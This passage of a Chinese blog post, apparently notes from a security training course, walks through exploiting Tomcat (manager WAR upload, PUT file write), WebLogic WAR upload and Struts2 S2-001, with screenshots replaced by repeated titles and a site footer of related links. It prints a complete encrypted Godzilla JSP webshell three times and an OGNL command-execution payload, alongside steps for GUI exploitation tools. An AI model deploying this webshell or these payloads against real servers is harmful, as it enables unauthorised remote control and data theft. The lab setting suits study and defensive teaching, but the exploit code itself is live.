  3. 在127.0.0.1/manager/html頁面上傳
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  4. 部署成功
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  5. 驗證1.jsp是否部署成功。
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
  6. 哥斯拉連接
    網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

Tomcat PUT方法任意寫文件漏洞
對tomcat抓包send to repeater,然后修改方法為PUT,添加jsp文件名,寫入文件內(nèi)容,這里可以使用哥斯拉創(chuàng)建的jsp格式的一句話木馬。

//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
連接成功。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

weblogic漏洞

1.上傳文件漏洞
仍然使用哥斯拉生成的上一個war包
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
上傳war包
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
一直下一步下一步,直到完成,然后驗證木馬已經(jīng)上傳。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
哥斯拉連接成功。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
2.弱口令
3.ssrf漏洞
自查

struts2

java + tomcat框架 文件名:login.action login.do
漏洞類型:

  1. 代碼執(zhí)行
  2. 命令執(zhí)行

s2-001 DEMO

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
工具使用:Struts2綜合利用.jar
1.輸入網(wǎng)址,點擊驗證。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
2.命令執(zhí)行:只能查看,不能寫入
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
3.上傳到根目錄
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
上傳成功。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
頁面訪問上傳的jsp文件
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
此處可傳入一句話木馬。

//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
寫入成功。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
4.上傳到指定目錄
注意修改路徑
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

上傳成功
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

工具使用:Struts2漏洞檢查工具2019版 V2.3
1.輸入網(wǎng)址,點擊驗證。
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
2.查看漏洞信息
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

3.命令執(zhí)行
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
4.文件上傳
直接點擊上傳為上傳到根目錄,也可以自定義目錄。

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
上傳成功
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫
此處可以上傳一句話木馬(jsp)

//pass111
<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}
%>

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫

網(wǎng)安培訓第二期——sql注入+中間件+工具,sql,android,數(shù)據(jù)庫文章來源地址http://www.zghlxwxcb.cn/news/detail-823866.html

vulhub

到了這里,關(guān)于網(wǎng)安培訓第二期——sql注入+中間件+工具的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權(quán),不承擔相關(guān)法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務器費用

相關(guān)文章

  • 【中間件】消息中間件之Kafka

    一、概念介紹 Apache Kafka是一個分布式流處理平臺,用于構(gòu)建實時數(shù)據(jù)管道和流應用。它可以處理網(wǎng)站、應用或其他來源產(chǎn)生的大量數(shù)據(jù)流,并能實時地將這些數(shù)據(jù)流傳輸?shù)搅硪粋€系統(tǒng)或應用中進行處理。 核心概念: Topic(主題) :消息的分類,用于區(qū)分不同的業(yè)務消息。

    2024年01月20日
    瀏覽(43)
  • scrapy---爬蟲中間件和下載中間件

    ????????-進來request對象 ? ? ?? ?-加代理 ? ? ? ? -加cookie ? ? ? ? -加請求頭 ? ? -出去response對象 ? ? ?? ?-修改響應對象,最后進入到爬蟲的parser中就是修改后的response 1.加代理?? 2.加cookie,修改請求頭,隨機生成UserAgent ????????2.1加cookie ? ? ? ?2.2 修改請求頭

    2024年02月16日
    瀏覽(32)
  • 常見的中間件以及什么是中間件

    常見的中間件以及什么是中間件

    中間件顧名思義就是系統(tǒng)軟件和應用軟件之間連接的軟件,以便于軟件各部件之間的溝通,特別是應用軟件對于系統(tǒng)軟件的集中的邏輯,是一種獨立的系統(tǒng)軟件或服務程序,分布式應用軟件借助這種軟件在不同的技術(shù)之間共享資源。中間件在客戶服務器的操作系統(tǒng)、網(wǎng)絡(luò)和數(shù)

    2024年02月06日
    瀏覽(28)
  • 云原生中間件開源現(xiàn)狀分析與華為中間件案例解讀

    云原生中間件開源現(xiàn)狀分析與華為中間件案例解讀

    開源中間件在企業(yè)分布式架構(gòu)搭建和服務治理中扮演著重要的角色,尤其是在解決我國網(wǎng)絡(luò)高并發(fā)和業(yè)務復雜性問題方面。然而,盡管中間件市場由商業(yè)閉源廠商主導,提供了一系列基礎(chǔ)中間件和數(shù)據(jù)類中間件以支持穩(wěn)定的應用程序運行環(huán)境,開源中間件生態(tài)卻相對分散和薄

    2024年02月02日
    瀏覽(24)
  • 探索Scrapy中間件:自定義Selenium中間件實例解析

    探索Scrapy中間件:自定義Selenium中間件實例解析

    Scrapy是一個強大的Python爬蟲框架,可用于從網(wǎng)站上抓取數(shù)據(jù)。本教程將指導你創(chuàng)建自己的Scrapy爬蟲。其中,中間件是其重要特性之一,允許開發(fā)者在爬取過程中攔截和處理請求與響應,實現(xiàn)個性化的爬蟲行為。 本篇博客將深入探討Scrapy中間件的關(guān)鍵作用,并以一個實例詳細介

    2024年02月04日
    瀏覽(27)
  • rust actix-web定義中間件(middleware)記錄接口耗時(接口耗時中間件和鑒權(quán)中間件)

    rust actix-web定義中間件(middleware)記錄接口耗時(接口耗時中間件和鑒權(quán)中間件)

    actix-web的官網(wǎng)關(guān)于中間件的介紹如下 https://actix.rs/docs/middleware/ 這里使用的是最新版的actix-web,舊版本的可能接口不太一樣 我們添加的中間件能干什么?我們用一段代碼來觀察一下 下面是官方提供的中間件的定義方式之一,我們可以看到閉包里面有兩個參數(shù) req 和 srv 其中

    2024年02月11日
    瀏覽(25)
  • Django中間件的源碼解析流程(上)——中間件載入的前置

    Django中間件的源碼解析流程(上)——中間件載入的前置

    目錄 1. ?前言? 2. 請求的入口 3. 中間件加載的入口 4. 源碼中的閉包實現(xiàn) 5. 最后 哈嘍,大家好,我是 小K ,今天咋們分享的內(nèi)容是:在學會Django中間件之后, 我們繼續(xù)深入底層源碼。 在執(zhí)行中間件時請求到來總是從前往后逐一匹配,但當響應返回時,執(zhí)行的中間件順序往往

    2024年04月22日
    瀏覽(22)
  • 【云計算學習教程】什么是中間件?常見中間件有哪些?

    【云計算學習教程】什么是中間件?常見中間件有哪些?

    3)最后 Apache 把這個臨時的靜態(tài)網(wǎng)頁文件發(fā)給用戶。 采用 Perl、Python 和 Ruby 腳本語言編寫的動態(tài)網(wǎng)頁,其工作過程與 PHP 類似。 Apache 是最流行的開源網(wǎng)站服務器,在世界排名前 100 萬的網(wǎng)站中,有 60.6% 的網(wǎng)站采用 Apache;在排名前 1000 的大型網(wǎng)站中,Apache 占到了 34.5%,而 N

    2024年04月22日
    瀏覽(30)
  • GoZero微服務個人探究之路(七)添加中間件、自定義中間件

    GoZero微服務個人探究之路(七)添加中間件、自定義中間件

    官方已經(jīng)自己實現(xiàn)了很多中間件,我們可以方便的直接使用,不用重復造輪子了 開啟方式可以看官方文檔 中間件 | go-zero Documentation 在業(yè)務邏輯中,我們需要實現(xiàn)自定義功能的中間件 ------這里我們以實現(xiàn)跨源訪問的中間件(詳情可見這篇文章flutter開發(fā)web應用網(wǎng)絡(luò)請求后臺失

    2024年01月21日
    瀏覽(26)
  • 【ASP.NET Core 基礎(chǔ)知識】--中間件--什么是中間件

    本篇文章作為中間件單元的開篇文章,通過這篇文章可以了解什么是中間件、內(nèi)置中間件的使用以及怎么創(chuàng)建自定義中間件。我們先來看一下中間件的角色、目的和重要性。 1. 角色 請求處理管道的構(gòu)建塊: 中間件是構(gòu)成ASP.NET Core請求處理管道的基本組成部分。每個HTTP請求都

    2024年01月16日
    瀏覽(138)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包